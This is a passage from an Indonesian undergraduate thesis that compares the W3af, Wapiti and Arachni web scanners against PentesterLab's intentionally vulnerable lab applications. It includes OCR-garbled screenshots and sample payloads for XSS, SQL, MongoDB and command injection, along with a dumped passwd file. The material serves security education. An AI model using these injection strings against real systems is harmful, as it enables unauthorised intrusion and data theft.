www.pentesterlab.com yang terdapat pada layanan web for pentester dan web
for pentester 2.

3.4 Metodologi Penelitian

Pada studi literatur ini dilakukannya hal ini bertujuan untuk mendapatkan hasil
dari uji penetrasi dengan menggunakan tool yang digunakan untuk menguji
kerentanan ( Vulnerability ) pada web yang akan di uji dengan framework tool yang
digunakan. Mempelajari berbagai macam jurnal ilmiah di literatur studi ini ,
tentang literatur ini berupa memahami tentang konsep kinerja penetration testing
tool terhadap aplikasi web.

3.4.1 Identifikasi Web

Tahap pertama dalam melakukan vulnerability assessment atau yang disebut
juga dengan pengukuran kerentanan atau celah keamanan adalah melakukan
identifikasi pada sistem yang digunakan aplikasi web www.pentesterlab.com yang
akan diuji. Identifikasi dilakukan dengan cara mengidentifikasi vulnerability dari
target aplikasi web yang akan diuji, dan kemudian dari identifikasi vulnerability
yang digunakan dilakukan identifikasi kelemahan yang mungkin terdapat pada
vulnerability yang digunakan oleh aplikasi web tersebut.

3.4.2 Analisis Penetration Testing Tool

Analisis pengujian tool uji penetrasi dilakukan dengan penentuan parameter-
parameter pengujian yang akan diuji, penentuan parameter pengujian dilakukan
berdasarkan vulnerability atau celah keamanan yang merupakan sebuah panduan
atau acuan dalam melakukan pengujian keamanan terhadap aplikasi untuk
menguji aspek keamanan yang menentukan kerentanan suatu aplikasi web.
Setelah parameter-parameter pengujian telah selesai ditentukan hal selanjutnya
yang dilakukan adalah memilih penetration testing tool yang sesuai dengan
parameter yang akan diuji untuk agar membantu melakukan pengujian dalam
aplikasi web, dalam penelitian ini pengujian tool penetrasi akan menggunakan
W3af, Arachni, Wapiti.
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3.5 Tabel Pengujian Otomatis

Tahap selanjutnya dalam pengujian penetrasi di gunakan table yang akan
menggunakan table yang berguna untuk mengetahui bagaimana penilaian
terhadap kerentanan yang diserang dan mengujinya dengan 3 aplikasi web
scanner.

VULNERABILITY/APLLICATION W3AF ARACHNI WAPITI
WEB SCANNER

XSS
SQL INJECTION
DIRECTORY TRAVERSAL

CODE INJECTION
COMMAND INJECTION
AUTHENTICATION
AUTHORIZATION
CAPTCHA

MONGO DB

FILE INCLUDE

Tabel 3.1 Tabel Pengujian Otomatis

Tabel pengujian ini nanti digunakan untuk membandingkan Tool Uji Pentrasi
mana yang paling banyak dan bisa mendeteksi kerentanan pada aplikasi web
www.pentesterlab.com dan menjadi lebih mudah dalam mengetahui kerentanan
tersebut.

3.6 Pengujian

Pada bagian pengujian ini menggunakan beberapa Penetration testing tool
yang di jelaskan dari bab sebelumnya , pengujian dengan metode manual dan
metode otomatis diharapkan celah keamana yang mungkin tidak terdeteksi pada
metode manual dapat terdeteksi pada metode otomatis, dan celah keamanan
yang tidak terdeteksi pada metode otomatis dapat terdeteksi pada metode
manual. Perbandingan dari penilaian kerentanan yang didapat dan menjadi lebih
efisien dalam melakukan scanning terhadap aplikasi web www.pentesterlab.com.
Ada 3 Penetration testing tool yang diuji yaitu :

o  Wapiti
e W3af
e Arachni

Dari masing-masing penetration testing tool tersebut dapat melakukan proses
scanning terhadap aplikasi web yang dituju dengan menggunakan host dari
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aplikasi web yang sudah disediakan. Pengujian tersebut melakukan
mengidentifikasi dari kerentanan-kerentanan yang ada pada setiap challenge yang
dipilih oleh penguji. Hasil pengujian dari ketiga tool ini nantinya akan di
bandingkan dari segi banyaknya kerentanan yang di dapat dari hasil proses
scanning.

3.7 Pengujian Manual

Pengujian secara manual merupakan pengujian yang dilakukan dengan
penentuan parameter celah keamanan yang akan diuji terlebih dahulu. Penentuan
parameter-parameter pengujian celah keamanan yang akan diuji dalam pengujian
manual dilakukan berdasarkan OWASP Testing Guide, pengujian parameter,
setelah itu akan dilakukan analisis. OWASP merupakan sebuah organisasi terbuka
yang difokuskan pada peningkatan keamanan, mengembangkan, membeli, dan
memelihara perangkat lunak. Semua perangkat atau tool/, dokumen, forum,
materi pada OWASP bebas dan terbuka untuk siapa saja yang tertarik dalam
meningkatkan keamanan aplikasi. Tujuan dari OWASP adalah untuk membuat
kemanan perangkat lunak terdeteksi sehingga individu atau suatu organisasi dapat
membuat keputusan tentang resiko keamanan perangkat lunak yang benar.
Berikut merupakan parameter-parameter yang akan diuji pada layanan aplikasi
web www.pentesterlab .com :

e SQL Injection

e XSS

e Directory Traversal
e Authentication

e Captcha

e Authorization

e Mongo DB Injection
e File Include

e Code Injection

e Command Injection

Setelah Penentuan parameter telah selesai dilakukan hal yang selanjutnya
dilakukan adalah mempersiapkan software Wa3af,Wapiti, dan Arachni yang
digunakan untuk melakukan pengujian pada kerentanan-kerentanan pada aplikasi
web yang di uji oleh softaware web scanner.

3.8 Pengujian Otomatis

Pengujian secara otomatis dilakukan dengan bantuan software W3af , Wapiti
, dan Arachni . Software W3af, Wapiti, dan arachi merupakan software penguiji
keamanan aplikasi web secara otomatis yang melakukan audit pada aplikasi web
dengan menguji kerentanan yang ada seperti SQL Injection, Cross-Site Scripting,

17



dan kerentanan lain yang dapat dieksploitasi secara umum. W3af , Wapiti , dan
Arachni melakukan scan pada setiap halaman dan situs yang terdapa pada aplikasi
web vyang dapat diakses melalui web browser menggunakan protokol
HTTPataupun HTTPS.

Pengujian secara otomatis dilakukan setelah melakukan pengujian secara
manual. Tujuan dari pengujian otomatis ini adalah untuk memeriksa ulang celah
keamanan yang terdapat pada aplikasi web dalam hal ini www.pentesrlab.com
yang terlewat saat pengujian secara manual yang telah dilakukan, setelah hasil
scanning muncul maka akan dilakukan pengujian terhadap hasil scanning untuk
memastikan hasil pengujian vulnerability dari hasil tersebut. Berikut ini
merupakan langkah dalam proses pengujian secara otomatis pada website
www.pentesterlab.com :

1. Hal pertama yang dilakukan terlebih dahulu adalah melakukan pesiapan
software yang digunakan dengan melakukan install ke 3 software W3af ,
Wapiti , dan Arachni

2. Pengujian otomatis ini dengan menguji 2 aplikasi web dari
www.pentesterlab.com yaitu web for pentester dan web for pentester 2. Dari
2 aplikasi web ini akan diuji lewat ke 3 aplikasi uji penetrasi.

3. setelah ke 3 software itu diinstall dan siap digunakan hal selanjutnya yang
dilakukan adalah scanning aplikasi web www.pentesterlab.com untuk
menenmukan celah keamanan yang ada

Untuk melakukan pengujian otomatis proses scanning, berikut skenario yang di
lakukan pada tool W3af , Wapiti , dan Arachni

3.9 Skenario Percobaan

Pada percobaan ini, untuk mendapatkan data yang akan dianalisis digunakan
skenario percobaan sebagai berikut:

1. Untuk pengumpulan informasi menggunakan teknik identifikasi manual dan
otomatis agar memperoleh informasi tentang aplikasi web target yang
dibutuhkan. Informasi ini digunakan untuk melakukan serangan terhadap
kerentanan yang teridentifikasi pada aplikasi web target.

2. Identifikasi manual untuk melakukan uji penetrasi dengan menggunakan
kode atau script pada web browser agar dapat mengetahui kerentanan yang
di identifikasi pada aplikasi web, dan hasil dari identifikasi tersebut dapat
mengetahui dari aplikasi web memiliki sebuah kerentanan.

3. Identifikasi otomatis menggunakan dengan tool w3af, wapiti, dan arachni.
Identifikasi otomatis dengan tool aplikasi web yang digunakan untuk
mengetahui banyaknya kerentanan aplikasi web yang dapat teridentifikasi
dan dilakukan sebanyak 5 kali percobaan untuk mengetahui dampak tool uji
kerentanan pada aplikasi web yang telah diuji
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3.9.1 Skenario Pengujian Otomatis W3af

Berikut skenario pengujian otomatis pada W3af dalam uji penetrasi aplikasi
web www.pentesterlab.com :

1. Buka Aplikasi W3af, dalam hal ini penguji menggunakan W3af berbasis GUI.

2. Setelah W3af muncul,masukin url target (kolom yang di sensor merah) dan
ceklis mode serangan yang ingin anda lalukan. Di sini penguji menggunakan
mode audit sebagai serangan

3. Setelah cheklist audit serangan,lanjutkan dengan klik ‘start’ dan tunggu
proses scanning.

Start

Gambar 3.2 Proses Pengujian pada W3af

€ wiaf - Web Application Attack and Audit Framework S S
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Gambar 3.3 Proses Melakukan Scanning Pada W3af

4. Setelah proses scanning selesai, klik tab result untuk melihat hasil laporan
scanning

Pada penelitian ini, tool uji w3af digunakan untuk melakukan identifikasi pada
aplikasi web yang dituju dengan mengetahui IP Host untuk melakukan identifikasi
terhadap aplikasi web. Pengujian ini dilakukan agara mengetahui serangan-
serangan terhadap aplikasi web yang dituju. Untuk melakukan pengujian ini pada
tool w3af dengan membuat profile audit agar apa saja yang ingin diserang dengan
tool w3af tersebut, setelah itu untuk memilih audit kerentanan apa saja yang ingin
ditemukan pada tujuan aplikasi web tersebut. Identifikasi tersebut nantinya akan
menemukan kerentanan setelah semuanya dapat ditemukan pada kerentanan
yang telah di tuju pada aplikasi web. Pengujian dengan menggunakan tool w3af
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bisa mengetahui hampir seluruh serangan yang di inginkan namun masih ada bug
di dalam tool ini.

3.9.2 Skenario Pengujian Otomatis Wapiti

Pada langkah pengujian Wapiti untuk versi windows ini dijalankan melalui
command prompt :

1. Untuk melakukan scanning web for pentester dengan tool Wapiti ini
digunakan command prompt untuk melakukan identifikasi terhadap web
for pentester dengan IP yang telah disediakan dari aplikasi web.

- 8

(o | CAWINDOWS\system32\cmd.exe
e>wapiti.exe

Wapiti-2.3.0 (wapiti.sourceforge.net)

Wapiti-2.3.0 - Web application vulnerability scanner

Usage: python wapiti.py http://server.com/base/url/ [options]

Supported options are:
-s <url>
--start <url>
To specify an url to start with. This option can be called several times|

Wapiti will browse these links to find more URLs even if the specified 1]
ink is not in the scope.

-x <url>
--exclude <url>

To exclude an URL from the scan (eg: logout URLs). This option can be cal
lled several times to specify several URLs.

Wildcards (%) can be used in URLs for basic regex.

Example : -x http://server/base/?page=x&mnodule=test

or -x http://server/base/admin/x to exclude a directory.

-p <url_proxy>
--proxy <url_proxy>
To specify a proxy. Currently supported proxies are HTTP and HTTPS.
This option can be called twice to specify the HTTP and the HTTPS proxy.

Example: -p http://proxy:port/

-¢ <cookie_file>
--cookie <cookie_file>
To import cookies to use for the scan. The cookie file must be in JSON f
ormat .
Cookies can be grabbed using the cookie.py and getcookie.py utilities (n|
et directory).

-t <timeout>
--timeout <timeout>
To set the timeout (maximum time in seconds to wait for the server to se
nd a response).

-a <loginZ%password>
--auth <loginZpassword>
Set credentials for HTTP authentication.

--auth-method <method>

If the server requires an authentication, set the authentication method
to use.

Currently supported methods are (some requires additional modules to insig

Gambar 3.4 Proses Pengujian Otomatis Wapiti

= CAWINDOWS\system32\cmd.exe - o “

--attack <file>

This parameter indicates to Wapiti to resume the attacks without scannin|
g the website again, loading the scan status from the specified file.

The file name is optional, if it is not specified, Wapiti takes the defa|
ult file from the “scans™ folder.

--verify-ssl <0[1>
This parameter indicates whether lWapiti must check SSL certificates.
Default is to verify certificates

-h
--help
To print this usage message

C:\Users\vito\Desktop\wapiti-2.3.0-win32-standalene\wapiti-2.3.8-win32-standalen
e>wapiti.exe 192.168.1.26

Gambar 3.5 Proses Scanning Pada Wapiti

Beda dengan tool w3af, pengujian dengan tool wapiti ini menggunakan
command prompt untuk melakukan identifikasi kerentanan pada aplikasi web.
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Pengujian ini berbeda dengan tool w3af yang mana tool w3af dapat mengatur
segala serangan ke aplikasi web yang diinginkan sedangkan wapiti hanya dapat
melakukan identifikasi dengan fitur yang telah disediakan untuk melakukan
identifikasi. Pengujian ini ditujukan untuk bisa menyerang dan mengidentifikasi
untuk mengetahui kerentanan pada aplikasi web yang dituju. Dengan
memasukkan IP host agar dapat mengetahui seleruh kerentanan yang didapat.

3.9.3 Skenario Pengujian Otomatis Arachni

Pada pengujian Arachni ini dibutuhkannya sebuah operasi sistem Ubuntu
dikarenakan Arachni hanya bisa di gunakan di ubuntu/linux untuk melakukan uji
penetrasi. Untuk penjelasan tentang pengujian Arachni bisa dilihat pada gambar
dibawah ini :

1. untuk melakukan pengujian Arachni ini gunakan terminal untuk membuka
Arachni_web agar bisa mendapatkan localhostnya dari Arachni scanner
setelah itu masukkan ./Arachni_web untuk bisa masuk ke web Arachni:

@ S F vito@vito-Satellite-L840: ~/Desktop/farachni-1.4-0.5.10/bin

vito@vito-Satellite-L840:~S5 cd Desktop/

vito@vito-Satellite-L840:~/DesktopS 1s

arachni-1.4-0.5.10 web_for_pentester_1386.1so
web_for_pentester_II_1i386.1s0

Arachni web p 2.html

vito@vito-Satellite-L840:~/Desktop$S cd ara

bash: cd: ara: No such file or directory
vito@vito-Satellite-L840:~/Desktop$ cd arachni-1.4-0.5.10/
vito@vito-sSatellite-L84 /Desktopfarachni-1.4-0.5.185% 1s

bin LICENSE README s em TROUBLESHOOTING VERSION
vito@vito-sSatellite-L840:~/Desktopfarachni-1.4-0.5.18% cd bin/
vito@vito-Satellite-L8460:~/Desktopfarachni-1.4-0.5.18/bins 1s

arachni arachni_rpcd arachni_web_import
arachni_console arachni_rpcd_monitor arachni_web_scan_import
arachni_multi arachni_script arachni_web_script
arachni_reporter arachni_shell arachni_web_task
arachni_restore arachni_web readlink_f.sh
arachmni_rest_server arachni_web_change_password

arachni_rpc arachni_web_create_user
vito@vito-Satellite-L840:~/Desktopfarachni-1.4-0.5.18/bin% ./arachni_web
Puma 2.14.0 starting...

* Min threads: ©, max threads: 16

Gambar 3.6 Proses Pengujian Otomatis Arachni

2. Setelah semuanya berhasil bukalah browser untuk melakukan proses
scanning dengan menggunakan localhost:9292 pada kolom browser :

’Hunw Arachni BB\ http://192.168.1.38/-5... % | +

localhost *“B $ A 9O =

& Administrator

Welcome to Arachni,
Issues per scans,

Notifications, Review your activity,

srofile) completed Nex
&) completed

file) completed
file) completed

file) completed

no longer be monitored due to a connection
nd stopped.

Default profile) started

Gambar 3.7 Proses Scanning Pada Arachni
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3. Pilih scan untuk memulai pengujian Arachni scanner dan masukan ip addres
dari web pentester challenge pada target URL untuk melakukan proses
scanning, setelah sudah semua pilih GO untuk melakukan scanning

New scan - Arachni B Home - Arachni x | http://192.168.1.38/-5... x | +

localhost wB ¥ A O

& Administrator

Start a scan
The only thing you need to do is provide some basic information and make a simple choice about the type of scan you want to
perform.
Default (Global) :
Full URL of the targeted web application (must include the appropriate protocol, http or https| Configuration profile to use.
Share with
Regular User

You can use Markdown for text formatting.

Advanced options

Distribution Scheduling

Instance count | 1=

How many Instances to utiise for the scan

A e S P e B T e

Gambar 3.8 Proses Memulai Scanning Pada Arachni

Penelitian dengan menggunakan tool arachni dengan menggunakan OS
Ubuntu untuk melakukan identifikasi terhadap kerentanan aplikasi web dan
memiliki sistem penjadwalan yang pada dasarnya memonitor segala kerentanan
pada aplikasi web yang sedang berjalan. Dengan menggunakan [P untuk
melakukan identifikasi kerentanan pada aplikasi web ini maka hasil dari identifikasi
tersebut akan menampilkan dengan tampilan web agar terlihat lebih jelas.
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BAB 4
HASIL

Pada bab ini akan menjelaskan tentang perbandingan alat uji penetrasi.
Pertama setup tes akan dijelaskan dan bagian ini akan berakhir dengan hasil
perbandingan dengan uji penetrasi tool yang telah dipilih. Perbandingan dari uji
tool penetrasi ini diuji terhadap celah kerentanan pada aplikasi web
www.pentesterlab.com.

4.1 Identifikasi

Uji tool penetrasi terdiri dari beberapa tes. Sebuah tes untuk melakukan
penilaian perbandingan terhadap penetration testing tool yang dibuat oleh
penulis. Aplikasi web www.pentesterlab.com yang di ambil sebagai uji coba dalam
perbandingan penetration testing tool. Pada aplikasi web www.pentesterlab.com
diuji dengan mengambil 2 challenge yang di pilih oleh penulis yaitu web for
pentester dan web for pentester 2 , di sini penetration testing tool di uiji
perbandingannya.

€2 C b

Web For Pentester

set of the most common web vulnerabilities

W rolow @pentesteriab (CERTETENEE

XSss SQL injections Directory traversal

H
File Include Code injection Commands injection
LDAP attacks File Upload XML attacks

Gambar 4.1 Web for pentester
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ercise is the sec

Web For Pentester Il |

Make sure you aiso check the first one (before]

SQL injections Authentication Captcha

Authorization Mass Assignment Randomness Issues

MongoDB injection

Gambar 4.2 Web for pentester 2

Hasil proses scanning dengan menggunakan W3af, Arachni, dan Wapiti adalah
aplikasi web yang diuji dengan menggunakan apache Apache/2.2.16 (Debian) yang
berjalan pada sistem operasi PHP/5.3.3-7+squeezel5.

4.2 Hasil Pengujian

Tahap selanjutnya dalam penilaian kerentanan atau vulnerabilty assesment
adalah pengujian. Pada tahap ini terdapat dua metode yang digunakan yaitu
metodel manual dan otomatis. Pada metode manual parameter-parameter
kemanan yang telah ditentukan pada analisis kebutuhan akan diuji dengan
melakukan serangan manual langsung ke aplikasi web tersebut. Sedangkan dalam
metode otomatis dibutuhkan penetration testing tool untuk melakukan pengujian,
pada pengujian ini software W3af , Wapiti, dan Arachni akan digunakan untuk
membantu prose scanning untuk mendeteksi celah keamanan yang terdapat pada
aplikasi web.

4.2.1 Hasil Pengujian Manual

Berdasarkan proses pengujian yang dilakukan secara manual dengan
menentukan parameter-parameter celah keamanan pada layanan aplikasi web
yang diuji hasil yang diperoleh adalah sebagian berikut :

4.2.1.1 XSS

Serangan XSS (cross-site scripting) biasanya digunakan untuk mencuri cookie,
penyebaran malware, session hijacking / pembajakan session, dan pembelokkan
tujuan / malicious redirects. Serangan ini tipikalnya adalah melakukan injeksi kode
javascript terhadap sebuah website sehingga browser mengeksekusi kode/script
yang diperintahkan oleh penyerang. Kelemahan ini mudah didapat tapi susah
untuk diatasi. Inilah alasannya mengapa XSS banyak ditemukan berbagai website.
Untuk melakukan pengujian manual ini dapat dilakukan dengan menyerang
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langsung pada aplikasi web host dari web www.pentesterlab.com , berikut adalah
hasil dari pengujian manual :

@ 192.168.1.23,

PentesterLab.com

Hello hacker 192.168.1.23 says:
® PentesterLab 2013
1

oK

Gambar 4.3 Hasil Pengujian Manual XSS

Pada pengujian manual pada XSS dapat diketahui bahwa dari Gambar 4.3 telah
mendapatkan peringatan dari challenge XSS ini dimana penguji mengubah kode
html pada browser tersebut dengan menambahkan <script> alert(1)</script>yang
berfungsi untuk menampilkan peringatan pop up pada browser XSS.

4.2.1.2 SQL Injection

SQL Injection adalah teknik hacking untuk memanipulasi query ( perintah
database). Injeksi ini sering dilakukan inputan-inputan yang tidak di lakukan
pengecekan kebenaran data yang di input. Inputan tersebut biasanya dimasukan
pada box search atau bagian-bagian tertentu dari website yang berinteraksi
dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker
biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan
para korban ke website khusus yang digunakan para attacker untuk mengambil
data pribadi korban. Berikut adalah hasil pengujian manual SQL Injection :

PentesterLab.com Home

id name age
1 admin 10
2 root 30
3 user1 5

5 user2 2

© PentesterLab 2013
Gambar 4.4 Hasil Pengujian Manual SQL Injection

Pada hasil pengujian manual ini menunjukkan Gambar 4.4 SQL Injection
tersebut telah merubah data tampilan sebelumnya yang berupa sebuah root saja.
Dimana penguji telah memasukan beberapa perintah SQL Injection ke dalam box
search.
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4.2.1.3 Directory Traversal

Merupakan salah satu fungsi penting dari Web server yang aman adalah
mengendalikan akses pada direktori yang terlarang. Mengeksploitasi HTTPuntuk
menghindari serangan keamanan Web server dan menggunakan perangkat lunak
berbahaya untuk mengakses isi direktori yang dibatasi/disembunyikan. Directory
Traversal adalah salah satu teknik untuk mengeksploitasi HTTP.

€ - C | Omes

root:x:0:0:root:/root: bin/bash daemon:x:1: 1:daemon: usr/sbin: bin/sh bin:x:2:2:bin:/bin:/bmysh sys:x:3:3:sys:/dev:/bim/sh syne:x:4:65534:sync: /bin: bim/sync
games:x:3:60:games:/usr/games:/bin/sh man:x:6:12:man: var/cache/man:/bi/sh Ip:x:7:7:Ip:/var/spool Ipd:/bu/'sh mail x:8:8:mail:/var/mail: bin/sh
news:x:9:9:news:/var/spool news:/bin/sh uucp:x:10:10:uucp:/var/spool wucp:/bin/sh proxy:x:13:13:proxy:/bin:/bu/sh www-data:x:33:33:www-data:/var/www: /buy/sh
backup:x:34:34:backup:/var backups:bin/sh list:x:38:38:Mailing List Manager:var/list:/bin/sh ire:x:39:39:ired:/var/run/ired: /bin/sh gnats:x:41:41:Gnats Bug-Reporting
System (admun):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody: nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuurd: bin/sh mysgl:x:101:103:-MySQL
Server...:/var/lib/mysql: bin/false sshd x:102:63534::/var/run/sshd: /usr/sbin/nologin openldap:x:103:106:0penLDAP Server Account,,,: var/lib/ldap:/bin/false
user:x:1000:1000:Debian Live user.,, home/user: bin/bash

Gambar 4.5 Hasil Pengujian Manual Directory Traversal

Pada Gambar 4.5 Ketika kerentanan Directory Traversal,penyerang dapat
mengakses direktori di atas direktori root. Setelah direktori ini diakses, perintah
dapat dijalankan pada server Web dan data aman bisa disalin atau diubah.
Keamanan dari server Web terancam.Kerentanan Directory Traversal juga dapat
ditemukan dalam aplikasi Web yang dijalankan di server Web. Jika pengembang
aplikasi gagal untuk menyediakan kode untuk memvalidasi masukan browser,
hacker dapat melakukan percobaan dengan string input yang berbeda dan
direktori akses diatas akar.

4.2.1.4 Command Injection

Merupakan sebuah serangan dengan tujuan menginjeksikan pada sistem
operasi melalui aplikasi kerentanan. Serangan Command Injection yang mungkin
ketika aplikasi user disediakan dengan data yang tidak aman untuk sistem shell.

PING 127.0.0.1 (127.8.6.1) 56(84) bytes of data
64 bytes from 127.6.8.1: icmp_reg=1 ttl=64 time=8.812 ms
64 bytes from 127.6.8.1: icmp_reg=2 ttl=64 time=@.046 ms

--- 127.9.0.1 ping statistics ---

2 packets transmitted, 2 received, o% packet loss, time 995ms
rtt min/avg/max/mdev = ©.012/6.029/6.046/0.017 ms
examplel.php

example2.php

example3.php

hacked!

index. html

© PentesterLab 2013
Gambar 4.6 Hasil Pengujian Manual Command Injection

Pada gambar 4.6 pengujian manual Command Injection ini merupakan
penyerangan melalui web browser dengan mengijeksikan pada sistem operasi
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melalui aplikasi kerentanan. Serangan yang dilakukan disediakannya dengan data
yang tidak aman dari aplikasi web tersebut.

4.2.1.5 File Include

Pengujian kerentanan File Include datang dari kurangnya penyaringan ketika
dikendalikan oleh user dan parameter yang digunakan sebagai sebagai bagian dari
sebuah nama file di dalam memanggil fungsi. Jika panggilan kesalah satu metode
ini rentan, penyerang akan dapat memanipulasi fungsi untuk mengisi kode sendiri.
Pada Gambar 4.7 ini penguji mencoba kerentanan dengan memasukkan RFI (

\php

PHP 5.3.4 Release Announcement

The PHP development team is proud to announce the immediate release of PHP 5.3.4. This is a maintenance release in the 5.3 series, which includes a large number of bug fixes

Security Enhancements and Fixes in PHP 5.3.4:

o Fixed crash in zip extract method (po:

IDATE_EMAIL with large amount of data) (CVE-2010-3710

Gambar 4.7 Hasil Pengujian Manual File Include

Remote File Inclusion ) ke URL pada aplikasi web dan menampilkan isi dari url
tersebut, bahwa website tersebut memiliki kerentanan pada bug RFI juga.

4.2.1.6 Code Injection

Code Injection merupakan serangan yang mana terdiri dari kode injeksi yang
kemudian dieksekusi oleh aplikasi jenis serangan exploitasi ini mempunyai
penanganan yang buruk dari data yang tidak dipercaya.

€ o ¢ [@miem aw # i

PentesterLab.com  Home

Linux debian 2 6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux Hello hackerLinux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
© PentesterLab 2013

Gambar 4.8 Hasil Pengujian Manual Code Injection

Pada Gambar 4.8 pengujian manual Code Injection ini bahwa untuk melakukannya
dengan payload umum, exploit yang digunakan untuk mengeksekusi shellcode.
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Payload kemudan akan menjalankan shellcode yang dipilih untuk mendapatkan
target komputer dan mendapatkan akses.

4.2.1.7 Authentication

Merupakan suatu proses untuk melakukan validasi terhadap user credentials,
yang ditujukan untuk menentukan apakah seorang user diperkenankan untuk
mengakses jaringan atau computing resources. Bentuk Authentication yang paling
sering di hadapi adalah saat diharuskan untuk memasukkan user name dan
password. Kedua data tersebut kemudian dievaluasi untuk menentukan apakah
anda adalah user yang sudah dikenal oleh sistem atau bukan-verikifasi identitas.

PentesterLab.com Home

Success!!!

© PentesterLab 2013

Gambar 4.9 Hasil Pengujian Manual Authentication

4.2.1.8 Authorization

Authorization adalah proses menentukan apa sajakah layanan yang bisa
dinikmati pengguna yang telah jelas identitasnya (authenticated user). Jadi
sebelum ada Authorization, harus melalui proses Authentication. Identitas yang

Gambar 4.10 Hasil Pengujian Manual Authorization

telah dibuktikan di proses Authentication menjadi dasar untuk menentukan
layanan yang berhak dinikmati seorang pengguna.

4.2.1.9 Captcha

Merupakan sebuah protokol kriptograpfi, program yang dimaksudkan untuk
membedakana manusia dari input mesin. suatu bentuk uji tantangan-tanggapan

€ ClOmsma

PentesterLab.com = s ;

oSyt
Gambar 4.11 Hasil Pengujian Manual Captcha
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(challange-response test) yang digunakan dalam perkomputeran untuk
memastikan bahwa jawaban tidak dihasilkan oleh suatu komputer. Proses ini
biasanya melibatkan suatu komputer (server) yang meminta seorang pengguna
untuk menyelesaikan suatu uji sederhana yang dapat dihasilkan dan dinilai oleh
komputer tersebut. Karena komputer lain tidak dapat memecahkan CAPTCHA,
pengguna manapun yang dapat memberikan jawaban yang benar akan dianggap
sebagai manusia.

4.2.1.10 Mongo DB Injection

Merupakan sebuah salah satu produk database noSQL OPEN SOURCE yang
menggunakan struktur JSON untuk menyimpan datanya. MongoDB sering
digunakan untuk aplikasi berbasis Cloud, Grid Computing , atau Big Data, untuk

mengetahui hasil dari pengujain manual dapat dilihat pada gambar 4.12
/ [PentesterLab] X [PentesterLab] x Pentesterlab » Web for | X Pentesterlab » Webfor - X ) & Pentesterlab » Web for - X \ WA

& C 0 | ® 192.168.1.31/mongodb/example/?username=%27%3Breturn%20true%3Bvar%20foo%3D%278p
% Apps Y Bookmarks Bookmarks

PentesterLab.com Home

Success!!!

assword=hacke

© PentesterLab 2013
Gambar 4.12 Hasil Pengujian Manual MongoDB
4.3 Hasil Pengujian Otomatis

Berikut adalah hasil dari pengujian otomatis dari W3af , Wapiti ,Arachni :

4.3.1 Hasil Pengujian Otomatis W3af

Setelah proses scanning telah selesai dilakukan,maka akan muncul hasil
vulnerability dari proses scanning tersebut. Berikut hasilnya :

wiaf - 192.168.1.26 - olEN

3,
L]

Manual Request Fuzzy Request Encode/Decode Export Request Compare  Prowy

URts | Request/Response navigator |
@ vuin B 1fo [ msc ross Site Scrptmg was found at: “hitp://192.168. 1.26/flend/example1. phy”, using HTTF method GET. The sent data wes: “page=<SCrIPT >alert{"ANLg")</STIIFT>*, Thes vulnerability affects AL
nnnnnn _ [ ) v T irssiy s i e rues 20

—

e p—

o o

R e S e

7w | Hoadars | Rendered |

BEE

ol

-, 8= |

I 0u pn o

Gambar 4.13 Hasil Pengujian Otomatis W3af Web for pentester
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hasil dari gambar 4.13 scanning web for pentester di sini dengan menggunakan
tool W3af telah mendeteksi beberapa jenis vulnerability tersebut :

e XSS

Vuerabiity ~ tep/80 Cross Site Scripting was found at: "http://192.168.1.26/xss/example1.php", using HTTP method GET. The sent data was: "name=
<SCHPT>alert("mVtV")</SCHIPT>", This vulnerability affects ALL browsers. This vulnerability was found in the request with id 931,

URL : http://192.168.1.26/xss/exampled.php
Severity : Medium

Gambar 4.14 Hasil Kerentanan XSS dengan tool W3af
e Command Injection

Vulnerabiity  tep/80 05 Commanding was found at: "http://192.168.1.26/commandexec/exampled.php", using HTTP method GET. The sent data was:
"ip=Y7Cping+-c+9+localhost". This vulnerabilty was found in the request with id 2487.

URL : http://192.168.1.26/commandexec/example1.php
Severity : High
Gambar 4.15 Hasil Kerentanan Command Injection dengan tool W3af
e File Include

Vulnerability  tep/80 Local File Inclusion was found at: "http://192.168.1.26/fileincl/exampled.php", using HTTP method GET. The sent data was:
"008 o]l sl sl ] e pSSWA", This vulnerability was found in the request with id 4956

URL : http://192.168.1.26/fileincl/examplet.php
Severity : Medium

Gambar 4.16 Hasil Kerentanan File Include dengan tool W3af

e Directory Traversal

Vulnerabilty ~ tep/80 Local File Inclusion was found at: "http://192.168.1.26/dirtrav/examplet.php", using HTTP method GET. The sent data was:
file ol sl ] ] ] pSSW", This vulnerabilty was found in the request with id 5267.

URL : http://192.168.1.26/dirtrav/examplet php
Severity : Medium

Gambar 4.17 Hasil Kerentanan Directory Traversal dengan tool W3af
e Code Injection

Information  tep/80 (Cross Site Scripting was found at; "http://192.168.1.26/codeexec/exampled.php, using HTTP method GET, The sent data was: "mame=
<SCRIPT>a=/158T/%0Aalert(a.source)</SCRIPT>", This vulnerabilty affects ALL browsers. This vulnerabilty was found in the request
with id 980.

URL : https//192.168.1.26/codeerec/exampled.php

Gambar 4.18 Hasil Kerentanan Code Injection dengan tool W3af
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Setelah proses scanning pada web for pentester 2 selesai maka akan muncul hasil
vulnerabilty yang telah discanning , berikut hasilnya :

Erofiles Tools Configuration _Lelp

. A § - a ;
e = | & | g : i ‘e / S
Wiards | New  Save Clear Manual Request Fuzzy Request Encode/Decode Export Request Compare  Proxy

Scan confg | Log Resuts | explot |

B erowser | uRL | Requesi/Response navigetor
& vuin & w0 (] msc QL infecion i MySQL database wos fourd of: ig//192.168.1.25/sdinjecion/exampled", using HTTP metihod GET. The sent data wos: “userrame=JonoZ128password =T Z-08aubmit=", The

i vias " vd. This vulnerability was found in the request vith i
Knowledge Base modified parameter was "passiord". This vulnerability was found in the request vith id 9040.

- hitpAthDetect (1)
b auth (2)

- findCaptchas (1)
3 findCaptchas (22) Request Response |

Row | Headers | Rendered |

</body>
</heml>

: cton
et P
| | )

L O Aies o0

Gambar 4.19 Hasil Pengujian Otomatis W3af Web for pentester 2

Hasil dari gambar 4.19 scanning web for pentester di sini dengan menggunakan
tool W3af telah mendeteksi beberapa jenis vulnerability tersebut yaitu :

e SQL Injection

Vulnerability  tep/80 SQLinjection in a MySQL database was found at: "http://192.168.1.25/sqinjection/example2/", using HTTP method GET. The sent data
was: "username=John82128&password=d'z'0&submit=" The modified parameter was "password", This vulnerability was found in the
request with id 9049,

URL : http://192.168.1.25/sqlinjection/example2/
[Severity : High
